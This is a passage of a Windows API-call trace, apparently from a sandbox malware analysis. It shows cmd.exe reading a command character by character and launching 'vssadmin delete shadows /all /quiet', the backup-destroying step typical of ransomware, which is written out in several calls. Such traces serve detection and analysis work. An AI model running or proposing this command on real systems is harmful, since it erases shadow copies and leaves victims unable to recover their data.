lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.164] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0148.164] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.164] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.164] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.164] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0148.164] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.164] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.164] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.164] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0148.164] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.164] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.164] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.164] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0148.164] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.164] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.165] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.165] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0148.165] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.165] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.165] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.165] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0148.165] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.165] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.165] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.165] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0148.165] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.165] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.165] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.165] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0148.165] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.165] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.165] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.165] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0148.165] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.165] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.165] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.165] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0148.165] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.165] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.165] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.166] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0148.166] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.166] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.166] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.166] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0148.166] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.166] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.166] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.166] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0148.166] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.166] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.166] ReadFile (in: hFile=0xe8, lpBuffer=0x49f2c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2df648, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesRead=0x2df648*=0x1, lpOverlapped=0x0) returned 1 [0148.166] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49f2c320, cbMultiByte=1, lpWideCharStr=0x49f2e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0148.166] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.166] GetFileType (hFile=0xe8) returned 0x3 [0148.166] _get_osfhandle (_FileHandle=0) returned 0xe8 [0148.166] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.166] _get_osfhandle (_FileHandle=1) returned 0xf4 [0148.167] GetFileType (hFile=0xf4) returned 0x3 [0148.167] _get_osfhandle (_FileHandle=1) returned 0xf4 [0148.167] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x49f2c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0148.167] WriteFile (in: hFile=0xf4, lpBuffer=0x49f2c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x2df628, lpOverlapped=0x0 | out: lpBuffer=0x49f2c320*, lpNumberOfBytesWritten=0x2df628*=0x24, lpOverlapped=0x0) returned 1 [0148.167] GetProcessHeap () returned 0x70000 [0148.167] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x4012) returned 0x91010 [0148.167] GetProcessHeap () returned 0x70000 [0148.167] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x91010 | out: hHeap=0x70000) returned 1 [0148.167] GetProcessHeap () returned 0x70000 [0148.167] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xb0) returned 0x89840 [0148.167] GetProcessHeap () returned 0x70000 [0148.167] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x22) returned 0x84630 [0148.168] GetProcessHeap () returned 0x70000 [0148.168] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x48) returned 0x90090 [0148.168] GetConsoleOutputCP () returned 0x4e3 [0148.168] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x49f2bfe0 | out: lpCPInfo=0x49f2bfe0) returned 1 [0148.168] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0148.168] GetConsoleTitleW (in: lpConsoleTitle=0x2df5e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0148.168] GetProcessHeap () returned 0x70000 [0148.168] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x218) returned 0x8aae0 [0148.168] GetProcessHeap () returned 0x70000 [0148.168] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x5a) returned 0x89a50 [0148.168] GetProcessHeap () returned 0x70000 [0148.168] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x420) returned 0x8b9a0 [0148.169] SetErrorMode (uMode=0x0) returned 0x0 [0148.169] SetErrorMode (uMode=0x1) returned 0x0 [0148.169] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x8b9b0, lpFilePart=0x2dee70 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x2dee70*="system32") returned 0x13 [0148.169] SetErrorMode (uMode=0x0) returned 0x1 [0148.169] GetProcessHeap () returned 0x70000 [0148.169] RtlReAllocateHeap (Heap=0x70000, Flags=0x0, Ptr=0x8b9a0, Size=0x4a) returned 0x8b9a0 [0148.169] GetProcessHeap () returned 0x70000 [0148.169] RtlSizeHeap (HeapHandle=0x70000, Flags=0x0, MemoryPointer=0x8b9a0) returned 0x4a [0148.169] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f1f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0148.169] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0148.169] GetProcessHeap () returned 0x70000 [0148.169] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x104) returned 0x85bb0 [0148.169] GetProcessHeap () returned 0x70000 [0148.169] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x1f8) returned 0x8ba00 [0148.169] GetProcessHeap () returned 0x70000 [0148.169] RtlReAllocateHeap (Heap=0x70000, Flags=0x0, Ptr=0x8ba00, Size=0x106) returned 0x8ba00 [0148.169] GetProcessHeap () returned 0x70000 [0148.169] RtlSizeHeap (HeapHandle=0x70000, Flags=0x0, MemoryPointer=0x8ba00) returned 0x106 [0148.169] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f1f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0148.169] GetProcessHeap () returned 0x70000 [0148.169] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xe8) returned 0x89c60 [0148.169] GetProcessHeap () returned 0x70000 [0148.169] RtlReAllocateHeap (Heap=0x70000, Flags=0x0, Ptr=0x89c60, Size=0x7e) returned 0x89c60 [0148.169] GetProcessHeap () returned 0x70000 [0148.169] RtlSizeHeap (HeapHandle=0x70000, Flags=0x0, MemoryPointer=0x89c60) returned 0x7e [0148.169] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0148.169] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x2debe0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2debe0) returned 0x85cc0 [0148.169] FindClose (in: hFindFile=0x85cc0 | out: hFindFile=0x85cc0) returned 1 [0148.170] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x2debe0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2debe0) returned 0xffffffffffffffff [0148.170] GetLastError () returned 0x2 [0148.170] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x2debe0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2debe0) returned 0x91040 [0148.170] FindClose (in: hFindFile=0x91040 | out: hFindFile=0x91040) returned 1 [0148.170] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0148.170] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0148.170] GetConsoleTitleW (in: lpConsoleTitle=0x2df130, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0148.170] GetProcessHeap () returned 0x70000 [0148.170] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x21c) returned 0x8bb20 [0148.170] GetConsoleTitleW (in: lpConsoleTitle=0x8bb30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0148.170] GetProcessHeap () returned 0x70000 [0148.170] RtlReAllocateHeap (Heap=0x70000, Flags=0x0, Ptr=0x8bb20, Size=0xa2) returned 0x8bb20 [0148.170] GetProcessHeap () returned 0x70000 [0148.171] RtlSizeHeap (HeapHandle=0x70000, Flags=0x0, MemoryPointer=0x8bb20) returned 0xa2 [0148.171] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0148.171] GetProcessHeap () returned 0x70000 [0148.171] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8bb20 | out: hHeap=0x70000) returned 1 [0148.171] InitializeProcThreadAttributeList (in: lpAttributeList=0x2deee8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2deea8 | out: lpAttributeList=0x2deee8, lpSize=0x2deea8) returned 1 [0148.171] UpdateProcThreadAttribute (in: lpAttributeList=0x2deee8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2dee98, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2deee8, lpPreviousValue=0x0) returned 1 [0148.171] GetStartupInfoW (in: lpStartupInfo=0x2df000 | out: lpStartupInfo=0x2df000*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0148.171] GetProcessHeap () returned 0x70000 [0148.171] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x20) returned 0x84660 [0148.171] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0148.171] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0148.171] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0148.171] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0148.171] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0148.172] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0148.172] GetProcessHeap () returned 0x70000 [0148.172] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x84660 | out: hHeap=0x70000) returned 1 [0148.173] GetProcessHeap () returned 0x70000 [0148.173] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x12) returned 0x89ac0 [0148.173] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x2def20*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2deed0 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x2deed0*(hProcess=0x50, hThread=0x54, dwProcessId=0x50c, dwThreadId=0x7dc)) returned 1 [0148.179] CloseHandle (hObject=0x54) returned 1 [0148.179] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0148.179] GetProcessHeap () returned 0x70000 [0148.179] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8f4e0 | out: hHeap=0x70000) returned 1 [0148.179] GetEnvironmentStringsW () returned 0x889c0* [0148.179] GetProcessHeap () returned 0x70000 [0148.179] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xb22) returned 0x8e9b0 [0148.179] FreeEnvironmentStringsW (penv=0x889c0) returned 1 [0148.179] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2de7d8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2de7d8, ReturnLength=0x0) returned 0x0 [0148.179] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdb000, lpBuffer=0x2de810, nSize=0x380, lpNumberOfBytesRead=0x2de7d0 | out: lpBuffer=0x2de810*, lpNumberOfBytesRead=0x2de7d0*=0x380) returned 1 [0148.179] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0150.667] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2dee18 | out: lpExitCode=0x2dee18*=0x2) returned 1 [0150.667] CloseHandle (hObject=0x50) returned 1 [0150.667] _vsnwprintf (in: _Buffer=0x2df088, _BufferCount=0x13, _Format="%08X", _ArgList=0x2dee28 | out: _Buffer="00000002") returned 8 [0150.667] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0150.667] GetProcessHeap () returned 0x70000 [0150.667] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8e9b0 | out: hHeap=0x70000) returned 1 [0150.667] GetEnvironmentStringsW () returned 0x889c0* [0150.667] GetProcessHeap () returned 0x70000 [0150.667] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xb22) returned 0x8e9b0 [0150.667] FreeEnvironmentStringsW (penv=0x889c0) returned 1 [0150.667] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0150.667] GetProcessHeap () returned 0x70000 [0150.667] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8e9b0 | out: hHeap=0x70000) returned 1 [0150.667] GetEnvironmentStringsW () returned 0x889c0* [0150.667] GetProcessHeap () returned 0x70000 [0150.667] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xb22) returned 0x8e9b0 [0150.668] FreeEnvironmentStringsW (penv=0x889c0) returned 1 [0150.668] GetProcessHeap () returned 0x70000 [0150.668] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x89ac0 | out: hHeap=0x70000) returned 1 [0150.668] DeleteProcThreadAttributeList (in: lpAttributeList=0x2deee8 | out: lpAttributeList=0x2deee8) [0150.668] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0150.669] _get_osfhandle (_FileHandle=1) returned 0xf4 [0150.669] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0150.669] _get_osfhandle (_FileHandle=1) returned 0xf4 [0150.669] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x49f1e194 | out: lpMode=0x49f1e194) returned 0 [0150.669] _get_osfhandle (_FileHandle=0) returned 0xe8 [0150.669] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x49f1e198 | out: lpMode=0x49f1e198) returned 0 [0150.669] GetConsoleOutputCP () returned 0x4e3 [0150.669] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x49f2bfe0 | out: lpCPInfo=0x49f2bfe0) returned 1 [0150.669] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0150.669] GetProcessHeap () returned 0x70000 [0150.669] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x89c60 | out: hHeap=0x70000) returned 1 [0150.669] GetProcessHeap () returned 0x70000 [0150.669] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8ba00 | out: hHeap=0x70000) returned 1 [0150.670] GetProcessHeap () returned 0x70000 [0150.670] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x85bb0 | out: hHeap=0x70000) returned 1 [0150.670] GetProcessHeap () returned 0x70000 [0150.670] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8b9a0 | out: hHeap=0x70000) returned 1 [0150.670] GetProcessHeap () returned 0x70000 [0150.670] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x89a50 | out: hHeap=0x70000) returned 1 [0150.670] GetProcessHeap () returned 0x70000 [0150.670] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8aae0 | out: hHeap=0x70000) returned 1 [0150.670] GetProcessHeap () returned 0x70000 [0150.670] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x90090 | out: 